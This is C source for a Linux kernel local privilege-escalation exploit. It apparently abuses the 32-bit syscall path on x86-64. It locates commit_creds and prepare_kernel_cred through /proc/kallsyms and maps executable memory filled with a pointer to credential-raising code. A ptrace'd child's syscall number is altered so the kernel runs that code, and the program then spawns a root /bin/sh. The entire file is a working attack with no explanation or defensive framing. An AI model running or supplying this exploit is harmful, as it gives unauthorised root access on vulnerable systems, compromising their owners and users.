#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>

#define ORIG_EAX 11

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int kernelmodecode(void *file, void *vma)
{
	commit_creds(prepare_kernel_cred(0));
	return -1;
}

unsigned long
get_symbol(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	int ret = 0, oldstyle = 0;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL)
			return 0;
		oldstyle = 1;
	}

	while (ret != EOF) {
		if (!oldstyle) {
			ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
		} else {
			ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
					continue;
				}
				p = strrchr(sname, '_');
				if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
					p = p - 4;
					while (p > (char *)sname && *(p - 1) == '_') {
						p--;
					}
					*p = '\0';
				}
			}
		}
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			printf("resolved symbol %s to %p\n", name, (void *) addr);
			fclose(f);
			return addr;
		}
	}
	fclose(f);

	return 0;
}


static void docall(uint64_t *ptr, uint64_t size)
{
	commit_creds = (_commit_creds) get_symbol("commit_creds");
	if (!commit_creds) {
		printf("symbol table not available, aborting!\n");
		exit(1);
	}

	prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
	if (!prepare_kernel_cred) {
		printf("symbol table not available, aborting!\n");
		exit(1);
	}

        uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);

	printf("mapping at %lx\n", tmp);

        if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                printf("mmap fault\n");
                exit(1);
        }

        for (; (uint64_t) ptr < (tmp + size); ptr++)
                *ptr = (uint64_t)kernelmodecode;

        __asm__("\n"
        "\tmovq $0x101, %rax\n"
        "\tint $0x80\n");

        printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
        execl("/bin/sh", "bin/sh", NULL);
        printf("no /bin/sh ??\n");
        exit(0);
}

int main(int argc, char **argv)
{
        int pid, status, set = 0;
        uint64_t rax;
        uint64_t kern_s = 0xffffffff80000000;
        uint64_t kern_e = 0xffffffff84000000;
        uint64_t off = 0x0000000800000101 * 8;

        if (argc == 4) {
                docall((uint64_t*)(kern_s + off), kern_e - kern_s);
                exit(0);
        }

        if ((pid = fork()) == 0) {
                ptrace(PTRACE_TRACEME, 0, 0, 0);
                execl(argv[0], argv[0], "2", "3", "4", NULL);
                perror("exec fault");
                exit(1);
        }

        if (pid == -1) {
                printf("fork fault\n");
                exit(1);
        }

        for (;;) {
                if (wait(&status) != pid)
                        continue;

                if (WIFEXITED(status)) {
                        printf("Process finished\n");
                        break;
                }

                if (!WIFSTOPPED(status))
                        continue;

                if (WSTOPSIG(status) != SIGTRAP) {
                        printf("Process received signal: %d\n", WSTOPSIG(status));
                        break;
                }

                rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                if (rax == 0x000000000101) {
                        if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
                                printf("PTRACE_POKEUSER fault\n");
                                exit(1);
                        }
                        set = 1;
                	//rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                }

                if ((rax == 11) && set) {
                        ptrace(PTRACE_DETACH, pid, 0, 0);
                        for(;;)
                                sleep(10000);
                }

                if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
                        printf("PTRACE_SYSCALL fault\n");
                        exit(1);
                }
        }

        return 0;
}